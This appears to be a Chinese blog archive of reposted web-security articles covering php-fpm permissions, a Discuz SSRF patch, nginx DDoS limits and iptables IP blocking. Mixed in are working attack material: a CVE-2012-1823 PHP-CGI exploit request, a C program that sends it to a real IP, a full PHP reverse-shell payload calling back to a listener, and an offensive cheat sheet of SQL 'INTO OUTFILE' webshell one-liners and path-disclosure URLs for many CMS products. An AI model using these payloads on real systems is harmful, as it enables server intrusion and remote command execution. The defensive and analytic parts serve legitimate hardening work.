存档

‘Web安全防护’ 分类的存档

正确设置php-fpm子进程用户,提高网站安全性防挂马

2016年12月11日 评论已被关闭

正确设置php-fpm子进程用户,提高网站安全性防挂马

http://www.lowxp.com/g/article/detail/281

根据生产环境不断反馈,发现不断有 PHP网站被挂木马,绝大部分原因是因为权限设置不合理造成。因为服务器软件,或是 php 程序中存在漏洞都是难免的,在这种情况下,如果能正确设置 Linux 网站目录权限, php 进程权限,那么网站的安全性实际上是可以得到保障的。

那么,造成网站被挂木马的原因是什么?

ftp 连接信息被破解,对这个原因,可行的办法就是使用非常复杂的FTP 用户名(不要使用常用的用户名),如果是固定作业,可考虑使用 iptables 防火墙限制来源 IP 。但是一些情景下,可能需要使用 VPN 以便远程维护。 即网站维护者需要使用 FTP 修改网站文件时,必须先登录到 IDC 机房的 VPN 服务器上,再进行后续的操作。

网站服务器软件/ 配置 /php 程序存在漏洞,被利用,在讨论这个问题前,先说明文件及进程权限的几个概念:

FTP用户对网站目录具有最大修改权限,那么网站的文件所有者一定属于 FTP,  这是毋庸置疑的 , 否则如何修改文件呢?

php-fpm进程, Nginx 进程对网站文件至少需要有读取权限,例如,以下命令即可查看这两个进程所使用的账号:

php-fpm-security1

php-fpm-security2

通过上图,我们可以发现,nginx 和 php-fpm 子进程账号是 nobody 。

我们再查看网站文件目录的权限:

php-fpm-security3

发现网站文件所有者是www 账号,那说明:

  • nginx和 php 对网站只有读取权限,无写入权限
  • 如果php 程序需要对网站某些文件有写入权限,需要手工将文件或目录权限修改为 777
  • 因为php-fpm 子进程是以 nobody 运行,那么 php-fpm 生成的新文件所有者也是 nobody, 这时 ftp 用户将无法修改这些文件,解铃还需系铃人,当 php 生成文件后,需要调用 chmod(“/somedir/somefile”, 0777) 将文件权限修改为 777 ,以便 FTP 用户也可以修改这个文件。
  • 经常有开发人员找我请求重设php 生成的文件的权限。
  • 如果php-fpm 子进程以网站文件所有者用户运行,那意味着 php-fpm 进程对整个网站目录具有可写权限,噩梦也就由此开始。

但是我们发现,有不少系统管理员为了省事,违背了Linux 最小化权限的原则,设置 php-fpm 进程以网站文件所有者账号运行,当然这样可能会方便 php 开发人员( php-fpm 进程对整个网站目录具有可写权限),但是这样一来, Linux 体系的文件系统权限原则将被打破,所有的安全措施将形同虚设。可以想象的是,万一 php 程序中有漏洞,攻击者上传木马,便可以修改网站的所有文件,网站首页被黑,也就不足为怪了。

退一步,如果我们设置了较严格的权限,就算php 程序中存在漏洞,那么攻击者也只能篡改权限为 777 的目录,其它的文件是无法被改写的,网站不就就得更安全了吗?

核心总结:php-fpm 子进程所使用的用户,不能是网站文件所有者。 凡是违背这个原则,则不符合最小权限原则。

经过我参阅网上关于nginx, php-fpm 配置的文章教程和市面上的一些书籍,发现有不少人受这些文章的误导,直接让 php-fpm 子进程以网站所有者账号运行,例如张宴的《实战 nginx 取代 apache 的高性能 Web 服务器》一书的 52 页中,存在以下设置:

www
www

官方提供的配置文件中,php-fpm 子进程使用 nobody 用户,这完全是合理的,无须修改。

那么nginx 的子进程用户,如何设置合理?我的建议是也使用 nobody (对错误日志写入等无影响),设置方法如下:

nginx.conf文件第一行设置为 user nobody; , 再执行 nginx -s reload 即可。

php-fpm子进程用户设置方法:

编辑文件php-fpm.conf (一般位于 /usr/local/php/etc/php-fpm.conf 视安装参数为准),找到 user 、group 两个参数的定义,将其设置为nobody( 默认已经是 nobody) ,再重启 php-fpm 进程即可。

网站可写目录的特殊注意

这里的可写,是相对php-fpm 子进程而言。一个网站最容易出安全问题的即是可写目录,如果可写目录权限能控制严格,安全系数也将大大提高。
我们认为,一个网站可写目录主要分为以下几种:

  1. php 数据缓存目录,如 discuz 的 forumdata 目录,就存放了大量数据缓存文件。此类目录一般会禁止用户直接访问,但是 discuz 在这个目录下又存放了不少 js, css 文件,我们并不能简单地拒绝用户访问这个目录。显然,这个目录下的所有文件,不能直接交给 php 解析,我们后面会给出解决方案。
  2. 附件上传目录。显然此类目录需要开启访问,但不能交由php 引擎解析(即这个目录下的所有文件均视为普通静态文件)。
  3. 静态文件生成目录,这类目录下的文件全部应视为静态文件。
  4. 日志目录, 一般都会拒绝用户直接访问之。

也就是说对网站开发人员而言,需要对可写目录实现动静分离,不同性能的文件,应该区别对待之,这样也就方便系统管理员,设置合理的nginx 规则,以提高安全性。

简单地去掉php 文件的执行权限,并不能阻止 php-fpm 进程解析之。

接下来,根据以上总结,系统管理员如何配置nginx 的目录规则,才更安全呢?

数据缓存目录 /cache/,这个目录的特点是需要777 权限,无须提供给用户访问,那么可以按以下参考配置 nginx

location ~ “^/cache” {
return 403;
}

location ~ “.php$” {
fastcgi_pass 127.0.0.0:9000;
………………..
}

这时,任何用户将无法访问/cache/ 目录内容。

附件上传目录 attachments

此目录的特点是需要开放访问权限,但所有文件不能由php 引擎解析(包括后缀名改为 gif 的木马文件)

location ~ “^/attachments” {
}

location ~ “.php$” {
fastcgi_pass 127.0.0.0:9000;
………………..
}

注意,上面对attachments 目录的 location 定义中是没有任何语句的。 nginx 对正则表达式的 location 匹配优先级最高,任何一个用正则表达式定义的 location, 只要匹配一次,将不会再匹配其它正则表达式定义的 location 。

现在,请在attachments 目录下建立一个 php 脚本文件,再通过浏览器访问安,我们发现浏览器提示下载,这说明 nginx 把 attachments 目录下的文件当成静态文件处理,并没有交给 php fastcgi 处理。这样即使可写目录被植入木马,但因为其无法被执行,网站也就更安全了。

显然,重要的php 配置文件,请勿放在此类目录下。

静态文件生成目录 public

这些目录一般都是php 生成的静态页的保存目录,显然与附件目录有类似之处,按附件目录的权限设置即可。可以预见的是,如果我们设置了较严格的权限,即使网站php 程序存在漏洞,木马脚本也只能被写入到权限为 777 的目录中去,如果配合上述严格的目录权限控制,木马也无法被触发运行,整个系统的安全性显然会有显著的提高。

但是网站可写目录的作用及权限,只有开发人员最为清楚。这方面需要php 开发人员和系统管理员积极沟通。我们使用的方式是:项目上线前,开发人员根据以文档形式提供网站可写目录的作用及权限,由系统管理员针对不同目录进行权限设置。任何一方修改了网站目录权限,但未体现到文档中,我们认为是违反工作流程的

阿里提示Discuz memcache+ssrf GETSHELL漏洞的解决方法

2016年12月8日 评论已被关闭

阿里提示Discuz memcache+ssrf GETSHELL漏洞的解决方法

http://www.feichang56.com/discuz/

很多朋友肯定都收到阿里云提示discuz memcache+ssrf GETSHELL漏洞的相关说明,但购买阿里云云盾安骑士最少需要支付100块钱,下面我就给大家分享下如何来解决Discuz memcache+ssrf GETSHELL漏洞的问题。

漏洞分析:

discuz存在SSRF漏洞,在配置了memcache的情况下,攻击者可以利用ssrf通过memcache中转,向磁盘上写入WEBSHELL恶意代码,从而造成数据库泄漏。

解决方法一:

下载利用云盾安骑士修复之后的function_core.php文件覆盖原文件即可。

文件路劲:/source/function/function_core.php

修复之后的文件下载:点击下载

也可以在1090行之后加入如下代码:

if(!empty($_G[‘setting’][‘output’][‘preg’][‘search’]) && (empty($_G[‘setting’][‘rewriteguest’]) || empty($_G[‘uid’]))) {
if(empty($_G[‘setting’][‘domain’][‘app’][‘default’])) {
$_G[‘setting’][‘output’][‘preg’][‘search’] = str_replace(‘\{CURHOST\}’, preg_quote($_G[‘siteurl’], ‘/’), $_G[‘setting’][‘output’][‘preg’][‘search’]);
$_G[‘setting’][‘output’][‘preg’][‘replace’] = str_replace(‘{CURHOST}’, $_G[‘siteurl’], $_G[‘setting’][‘output’][‘preg’][‘replace’]);
}

if (preg_match(“(/|#|\+|%).*(/|#|\+|%)e”, $_G[‘setting’][‘output’][‘preg’][‘search’]) !== FALSE) { die(“request error”); } $content = preg_replace($_G[‘setting’][‘output’][‘preg’][‘search’], $_G[‘setting’][‘output’][‘preg’][‘replace’], $content);
}

解决方法二:停止使用或卸载memcache

Windows下的Memcache卸载方法:

memcached -d stop

memcached -d remove

sc delete “Memcached Server”

linux memcached 卸载方法

1、首先查找你的memcached所在目录,可用如下命令查找名为memcached的文件夹
find / -name memcached
2、结束memcached进程
killall memcached
3、删除memcached目录及文件
rm -rf /www/wdlinux/memcached
rm -rf /www/wdlinux/init.d/memcached
4、关闭memcached开机启动
chkconfig memcached off
5、把memcached移出开机启动
chkconfig –del memcached

分类: Web安全防护 标签:

discuz教程:阿里提示Discuz memcache+ssrf GETSHELL漏洞的解决方法

2016年12月8日 评论已被关闭

discuz教程:阿里提示Discuz memcache+ssrf GETSHELL漏洞的解决方法
http://www.moke8.com/article-14352-1.html
很多同学肯定都收到阿里云提示discuz memcache+ssrf GETSHELL漏洞的相关说明,但购买阿里云云盾安骑士最少需要支付100块钱,下面我就在魔客吧给大家分享下如何来解决Discuz memcache+ssrf GETSHELL漏洞的问题。

该漏洞描述:discuz存在SSRF漏洞,在配置了memcache的情况下,攻击者可以利用ssrf通过memcache中转,向磁盘上写入WEBSHELL恶意代码,从而造成数据库泄漏

解决方法一:

利用云盾安骑士修复/source/function/function_core.php,用下面文件覆盖即可。
function_core.zip

 

也可以在1090行之后加入如下代码:

if(!empty($_G[‘setting’][‘output’][‘preg’][‘search’]) && (empty($_G[‘setting’][‘rewriteguest’]) || empty($_G[‘uid’]))) {
if(empty($_G[‘setting’][‘domain’][‘app’][‘default’])) {
$_G[‘setting’][‘output’][‘preg’][‘search’] = str_replace(‘\{CURHOST\}’, preg_quote($_G[‘siteurl’], ‘/’), $_G[‘setting’][‘output’][‘preg’][‘search’]);
$_G[‘setting’][‘output’][‘preg’][‘replace’] = str_replace(‘{CURHOST}’, $_G[‘siteurl’], $_G[‘setting’][‘output’][‘preg’][‘replace’]);
}

if (preg_match(“(/|#|\+|%).*(/|#|\+|%)e”, $_G[‘setting’][‘output’][‘preg’][‘search’]) !== FALSE) { die(“request error”); } $content = preg_replace($_G[‘setting’][‘output’][‘preg’][‘search’], $_G[‘setting’][‘output’][‘preg’][‘replace’], $content);
}

以下是魔客吧提供的云盾安骑士修复后的function_core.php文件,该文件在1089行加入了一段代码,具体见下载包

使用方法,下载文件解压后,上传覆盖/source/function/function_core.php,后台更新缓存即可。

解决方法二: 停止使用或卸载memcache

Windows下的Memcache卸载方法:

memcached -d stop

memcached -d remove

sc delete “Memcached Server”

linux memcached 卸载方法

1、首先查找你的memcached所在目录,可用如下命令查找名为memcached的文件夹
find / -name memcached
2、结束memcached进程
killall memcached
3、删除memcached目录及文件
rm -rf /www/wdlinux/memcached
rm -rf /www/wdlinux/init.d/memcached
4、关闭memcached开机启动
chkconfig memcached off
5、把memcached移出开机启动
chkconfig –del memcached

分类: Web安全防护 标签:

nginx配置防止ddos攻击和cc攻击

2016年6月1日 评论已被关闭

nginx配置防止ddos攻击和cc攻击
http://outofmemory.cn/code-snippet/34324/nginx-configuration-fight-ddos-attack
nginx配置DDOS
经常会有一些无聊的人,对网站发起ddos攻击或者cc攻击。

可以在nginx上做一下限制来防止类似攻击。如下配置nginx.conf文件内容:

##
# Basic Settings
##
keepalive_timeout    30;
types_hash_max_size  2048;
##
# Performance Settings
##
sendfile     on;
tcp_nopush   on;
tcp_nodelay  on;
open_file_cache            max=50000  inactive=20s;
open_file_cache_valid      30s;
open_file_cache_min_uses   2;
open_file_cache_errors     on;
reset_timedout_connection  on;
client_body_timeout        10;
send_timeout               2;
##
# DDoS Protection Settings
##
client_body_buffer_size      128k;
large_client_header_buffers  4 256k;

limit_conn_zone $binary_remote_addr zone=conn_limit_per_ip:10m;
limit_req_zone $binary_remote_addr zone=req_limit_per_ip:10m rate=50r/s;
limit_conn conn_limit_per_ip 20;
limit_req zone=req_limit_per_ip burst=20;
配置之后需要重启nignx , 重启命令service nignx restart

配置的详细说明请参考:http://nginx.org/en/docs/http/ngx_http_limit_conn_module.html

无域名HTTP请求攻击分析

2016年5月23日 评论已被关闭

无域名HTTP请求攻击分析

http://blog.csdn.net/lenchio/article/details/31351617

检测组内WEB服务器攻击日志时,在防护WAF上发现如下攻击记录:

http://-c//cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E

攻击来源为192.187.125.130

请求方法为POST

解码后为:

http://-c//cgi-bin/php?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=””+-d+open_basedir=none+-d+auto_prepend_file=php://input+-d+cgi.force_redirect=0+-d+cgi.redirect_status_env=0+-d+auto_prepend_file=php://input+-n

使用的WAF不能记录POST提交的内容,无法获悉攻击者提交的数据。

攻击手段分析

最开始很不理解这个HTTP请求是如何发送过来的,没有使用正确的域名,也没有在HTTP请求中指定服务器IP!经过讨论有同事认为是工具指定IP和端口利用socket自动发送的。

攻击复现

做如下尝试:

#include <sys/types.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <stdio.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <string.h>

int main(){

int sockfd;

int len;

struct sockaddr_in address;

int result;

char *strings=”GET/test.jsp?test=%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6EHTTP/1.1\r\nHost: -test\r\nConnection: Close\r\n\r\n”;

char ch;

sockfd = socket(AF_INET,SOCK_STREAM, 0);

address.sin_family = AF_INET;

address.sin_addr.s_addr =inet_addr(“159.226.16.74”);

address.sin_port = htons(80);

len = sizeof(address);

result = connect(sockfd,  (struct sockaddr *)&address, len);

if(result == -1){

perror(“oops: client1”);

return 1;

}

 

write(sockfd,strings,strlen(strings));

while(read(sockfd,&ch,1)){

printf(“%c”, ch);

}

close(sockfd);

return 1;

}

 

编译执行,得到如下返回结果:

HTTP/1.1 403 Forbidden

Date: Mon, 16 Jun 2014 02:11:20GMT

Content-Type: text/html

Content-Length: 343

X-Squid-Error: policy/scan.html 0

Connection: close

 

<!DOCTYPE HTML PUBLIC”-//W3C//DTD HTML 4.01 Transitional//EN””http://www.w3.org/TR/html4/loose.dtd”>

<html>

<head>

<title>访问禁止</title>

<meta http-equiv=”Content-type”content=”text/html; charset=utf-8″>

 

</head>

<body>

请不要进行扫描攻击!

</body>

</html>

 

<BR clear=”all”>

<ADDRESS>

</ADDRESS>

</BODY></HTML>

查看防护WAF攻击日志:

与攻击者的攻击效果一样,说明猜测是正确的,攻击者确实是使用socket指定IP和端口发送的HTTP请求。

对那些限定只能使用域名访问的网站,这种攻击方式应该是无效的。尽管如此,但是这种攻击方式对那些普通的允许直接使用IP访问的网站是非常犀利的。设想如果实例程序中,目的IP是一个IP地址段,那么该地址段内的所有存在漏洞的WEB服务器都会收到攻击影响,而攻击者根本不需要知道网站域名。

漏洞分析

百度或google检索:

-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=””+-d+open_basedir=none+-d+auto_prepend_file=php://input+-d+cgi.force_redirect=0+-d+cgi.redirect_status_env=0+-d+auto_prepend_file=php://input+-n

获悉如下信息[2]

Apache / PHP 5.x Remote Code Execution简单分析

这篇下午写完了发到邮件组里了,然后同学找有事出去。回来在微博上看到素包子写了篇文章,思路清晰起承转合甚好。下面是我自己写的挫文。

测试环境

ubuntu 10.04 + apache2 + php 5.3.2。最开始测试直接用apt-getinstall安装的apache2,但是后面怎么设置也不行,后来改用了源码编译后面经过配置exploit-db上的exp可以使用了。

该exp使用的要求(exp说明)

1、具有cve-2012-1823【http://zone.wooyun.org/content/151】, 后面说原因

2、php以cgi形式安装的

3、可以访问到路径/cgi-bin/php5-cgi等cgi程序

exp分析

exp大致过程如下:

默认情况下php.ini中有两个和cgi运行方式有关的开关,exp使用cve-2012-1823将和cgi安全有关的开关关掉,而后将远程包含的标签打开,将post的数据包含进来并且执行,而这个post的数据就是反弹shell的payload,而且该exp尝试了多个cgi程序:/cgi-bin/php, /cgi-bin/php5,/cgi-bin/php-cgi,/cgi-bin/php.cgi

 

exp的数据包如下:

POST/cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6EHTTP/1.1

Host: 10.21.24.111

User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0Mobile/10A5355d Safari/8536.25

Content-Type: application/x-www-form-urlencoded

Content-Length: 2048

Connection: close

 

 

<?php

set_time_limit(0);

$ip = ‘10.21.24.109’;

$port = 7758;

$chunk_size = 1400;

$write_a = null;

$error_a = null;

$shell = ‘unset HISTFILE; unset HISTSIZE;uname -a; w; id; /bin/sh -i’;

$daemon = 0;

$debug = 0;

if (function_exists(‘pcntl_fork’)) {

.$pid = pcntl_fork();.

.if ($pid == -1) {

..printit(“ERROR: Can’t fork”);

..exit(1);

.}

.if ($pid) {

..exit(0);

.}

.if (posix_setsid() == -1) {

..printit(“Error: Can’tsetsid()”);

..exit(1);

.}

.$daemon = 1;

} else {

.printit(“WARNING: Failed todaemonise.”);

}

chdir(“/”);

umask(0);

$sock = fsockopen($ip, $port, $errno,$errstr, 30);

if (!$sock) {

.printit(“$errstr ($errno)”);

.exit(1);

}

$descriptorspec = array(

0=> array(“pipe”, “r”),

1=> array(“pipe”, “w”),

2=> array(“pipe”, “w”)

);

$process = proc_open($shell,$descriptorspec, $pipes);

if (!is_resource($process)) {

.printit(“ERROR: Can’t spawnshell”);

.exit(1);

}

stream_set_blocking($pipes[0], 0);

stream_set_blocking($pipes[1], 0);

stream_set_blocking($pipes[2], 0);

stream_set_blocking($sock, 0);

while (1) {

.if (feof($sock)) {

..printit(“ERROR: Shell connectionterminated”);

..break;

.}

.if (feof($pipes[1])) {

..printit(“ERROR: Shell processterminated”);

..break;

.}

.$read_a = array($sock, $pipes[1],$pipes[2]);

.$num_changed_sockets =stream_select($read_a, $write_a, $error_a, null);

.if (in_array($sock, $read_a)) {

..if ($debug) printit(“SOCKREAD”);

..$input = fread($sock, $chunk_size);

..if ($debug) printit(“SOCK:$input”);

..fwrite($pipes[0], $input);

.}

.if (in_array($pipes[1], $read_a)) {

..if ($debug) printit(“STDOUTREAD”);

..$input = fread($pipes[1], $chunk_size);

..if ($debug) printit(“STDOUT:$input”);

..fwrite($sock, $input);

.}

.if (in_array($pipes[2], $read_a)) {

..if ($debug) printit(“STDERRREAD”);

..$input = fread($pipes[2], $chunk_size);

..if ($debug) printit(“STDERR:$input”);

..fwrite($sock, $input);

.}

}

 

fclose($sock);

fclose($pipes[0]);

fclose($pipes[1]);

fclose($pipes[2]);

proc_close($process);

function printit ($string) {

.if (!$daemon) {

..print “$string

“;

.}

}

exit(1);

?>

很明显,这是针对一个特定漏洞而构建的exp,其关键有两个:

一个就是我们的防护WAF抓到的攻击URL,也就是上面POST的那个URL;

另一个是POST的数据,这里没有贴出来,详细内容可参考[2],其POST的数据就是一个PHP的是反弹shell的payload。

总结

利用socket实现HTTP请求,可以在不关心域名的情况下,基于特定漏洞,实现对批量IP地址的漏洞扫描、探测或攻击。

 

参考

1、http://blog.163.com/zongyuan1987@126/blog/static/13162315620108104825970/

2、http://www.2cto.com/Article/201311/256690.html

3、http://blog.csdn.net/mqwind/article/details/4814842

分类: Web安全防护 标签:

在phpmyadmin后台获取webshell方法汇总整理

2016年5月22日 评论已被关闭

在phpmyadmin后台获取webshell方法汇总整理

http://blog.csdn.net/lizhengnanhua/article/details/38451699

方法一:
CREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL );
INSERT INTO `mysql`.`xiaoma` (`xiaoma1` )VALUES (‘<?php @eval($_POST[xiaoma])?>’);
SELECT xiaomaFROM study INTO OUTFILE ‘E:/wamp/www/7.php’;
—-以上同时执行,在数据库: mysql 下创建一个表名为:xiaoma,字段为xiaoma1,导出到E:/wamp/www/7.php
一句话连接密码:xiaoma

方法二:
Create TABLE xiaoma (xiaoma1 text NOT NULL);
Insert INTO xiaoma (xiaoma1) VALUES(‘<?php eval($_POST[xiaoma])?>’);
select xiaoma1 from xiaoma into outfile ‘E:/wamp/www/7.php’;
Drop TABLE IF EXISTS xiaoma;

方法三:

读取文件内容:    select load_file(‘E:/xamp/www/s.php’);

写一句话:select ‘<?php @eval($_POST[cmd])?>’INTO OUTFILE ‘E:/xamp/www/xiaoma.php’

cmd执行权限:select ‘<?php echo \'<pre>\’;system($_GET[\’cmd\’]); echo \'</pre>\’; ?>’ INTO OUTFILE ‘E:/xamp/www/xiaoma.php’

方法四:
select load_file(‘E:/xamp/www/xiaoma.php’);

select ‘<?php echo \'<pre>\’;system($_GET[\’cmd\’]); echo \'</pre>\’; ?>’ INTO OUTFILE ‘E:/xamp/www/xiaoma.php’

然后访问网站目录:http://www.xxxx.com/xiaoma.php?cmd=dir

php爆路径方法收集 :

1、单引号爆路径
说明:
直接在URL后面加单引号,要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
www.xxx.com/news.php?id=149′

2、错误参数值爆路径
说明:
将要提交的参数值改成错误值,比如-1。-99999单引号被过滤时不妨试试。
www.xxx.com/researcharchive.php?id=-1

3、Google爆路径
说明:
结合关键字和site语法搜索出错页面的网页快照,常见关键字有warning和fatal error。注意,如果目标站点是二级域名,site接的是其对应的顶级域名,这样得到的信息要多得多。
Site:xxx.edu.tw warning
Site:xxx.com.tw “fatal error”

4、测试文件爆路径
说明:
很多网站的根目录下都存在测试文件,脚本代码通常都是phpinfo()。
www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php

5、phpmyadmin爆路径
说明:
一旦找到phpmyadmin的管理页面,再访问该目录下的某些特定文件,就很有可能爆出物理路径。至于phpmyadmin的地址可以用wwwscan这类的工具去扫,也可以选择google。PS:有些BT网站会写成phpMyAdmin。
1. /phpmyadmin/libraries/lect_lang.lib.php
2./phpMyAdmin/index.php?lang[]=1
3. /phpMyAdmin/phpinfo.php
4. load_file()
5./phpmyadmin/themes/darkblue_orange/layout.inc.php
6./phpmyadmin/libraries/select_lang.lib.php
7./phpmyadmin/libraries/lect_lang.lib.php
8./phpmyadmin/libraries/mcrypt.lib.php

6、配置文件找路径
说明:
如果注入点有文件读取权限,就可以手工load_file或工具读取配置文件,再从中寻找路径信息(一般在文件末尾)。各平台下Web服务器和PHP的配置文件默认路径可以上网查,这里列举常见的几个。

Windows:
c:\windows\php.ini                                    php配置文件
c:\windows\system32\inetsrv\MetaBase.xml              IIS虚拟主机配置文件

Linux:
/etc/php.ini                                           php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf                             Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf         虚拟目录配置文件

7、nginx文件类型错误解析爆路径
说明:
这是昨天无意中发现的方法,当然要求Web服务器是nginx,且存在文件类型解析漏洞。有时在图片地址后加/x.php,该图片不但会被当作php文件执行,还有可能爆出物理路径。
www.xxx.com/top.jpg/x.php

8、其他
dedecms
/member/templets/menulit.php
plus/paycenter/alipay/return_url.php
plus/paycenter/cbpayment/autoreceive.php
paycenter/nps/config_pay_nps.php
plus/task/dede-maketimehtml.php
plus/task/dede-optimize-table.php
plus/task/dede-upcache.php

WP
wp-admin/includes/file.php
wp-content/themes/baiaogu-seo/footer.php

ecshop商城系统暴路径漏洞文件
/api/cron.php
/wap/goods.php
/temp/compiled/ur_here.lbi.php
/temp/compiled/pages.lbi.php
/temp/compiled/user_transaction.dwt.php
/temp/compiled/history.lbi.php
/temp/compiled/page_footer.lbi.php
/temp/compiled/goods.dwt.php
/temp/compiled/user_clips.dwt.php
/temp/compiled/goods_article.lbi.php
/temp/compiled/comments_list.lbi.php
/temp/compiled/recommend_promotion.lbi.php
/temp/compiled/search.dwt.php
/temp/compiled/category_tree.lbi.php
/temp/compiled/user_passport.dwt.php
/temp/compiled/promotion_info.lbi.php
/temp/compiled/user_menu.lbi.php
/temp/compiled/message.dwt.php
/temp/compiled/admin/pagefooter.htm.php
/temp/compiled/admin/page.htm.php
/temp/compiled/admin/start.htm.php
/temp/compiled/admin/goods_search.htm.php
/temp/compiled/admin/index.htm.php
/temp/compiled/admin/order_list.htm.php
/temp/compiled/admin/menu.htm.php
/temp/compiled/admin/login.htm.php
/temp/compiled/admin/message.htm.php
/temp/compiled/admin/goods_list.htm.php
/temp/compiled/admin/pageheader.htm.php
/temp/compiled/admin/top.htm.php
/temp/compiled/top10.lbi.php
/temp/compiled/member_info.lbi.php
/temp/compiled/bought_goods.lbi.php
/temp/compiled/goods_related.lbi.php
/temp/compiled/page_header.lbi.php
/temp/compiled/goods_script.html.php
/temp/compiled/index.dwt.php
/temp/compiled/goods_fittings.lbi.php
/temp/compiled/myship.dwt.php
/temp/compiled/brands.lbi.php
/temp/compiled/help.lbi.php
/temp/compiled/goods_gallery.lbi.php
/temp/compiled/comments.lbi.php
/temp/compiled/myship.lbi.php
/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php
/includes/modules/cron/auto_manage.php
/includes/modules/cron/ipdel.php

ucenter爆路径
ucenter\control\admin\db.php

DZbbs
manyou/admincp.php?my_suffix=%0A%0DTOBY57

z-blog
admin/FCKeditor/editor/dialog/fck%5Fspellerpages/spellerpages/server%2Dscripts/spellchecker.php

php168爆路径
admin/inc/hack/count.php?job=list
admin/inc/hack/search.php?job=getcode
admin/inc/ajax/bencandy.php?job=do
cache/MysqlTime.txt

PHPcms2008-sp4
注册用户登陆后访问
phpcms/corpandresize/process.php?pic=../images/logo.gif

bo-blog
PoC:
/go.php/<[evil code]
CMSeasy爆网站路径漏洞
漏洞出现在menu_top.php这个文件中
lib/mods/celive/menu_top.php
/lib/default/ballot_act.php
lib/default/special_act.php

Linux 使用 iptables 禁止某些 IP 访问

2016年5月16日 评论已被关闭

Linux 使用 iptables 禁止某些 IP 访问

http://www.cmhello.com/linux-ipteables-ban-unban-ip.html

在Linux服务器被攻击的时候,有的时候会有几个主力IP。如果能拒绝掉这几个IP的攻击的话,会大大减轻服务器的压力,说不定服务器就能恢复正常了。

在Linux下封停IP,有封杀网段和封杀单个IP两种形式。一般来说,现在的攻击者不会使用一个网段的IP来攻击(太招摇了),IP一般都是散列的。于是下面就详细说明一下封杀单个IP的命令,和解封单个IP的命令。

在Linux下,使用ipteables来维护IP规则表。要封停或者是解封IP,其实就是在IP规则表中对入站部分的规则进行添加操作。

要封停一个IP,使用下面这条命令:

iptables -I INPUT -s ***.***.***.*** -j DROP

要解封一个IP,使用下面这条命令:

iptables -D INPUT -s ***.***.***.*** -j DROP

参数-I是表示Insert(添加),-D表示Delete(删除)。后面跟的是规则,INPUT表示入站,***.***.***.***表示要封停的IP,DROP表示放弃连接。

此外,还可以使用下面的命令来查看当前的IP规则表:

iptables -list

比如现在要将123.44.55.66这个IP封杀,就输入:

iptables -I INPUT -s 123.44.55.66 -j DROP

要解封则将-I换成-D即可,前提是iptables已经有这条记录。如果要想清空封掉的IP地址,可以输入:

iptables -flush

要添加IP段到封停列表中,使用下面的命令:

iptables -I INPUT -s 121.0.0.0/8 -j DROP

其实也就是将单个IP封停的IP部分换成了Linux的IP段表达式。关于IP段表达式网上有很多详细解说的,这里就不提了。

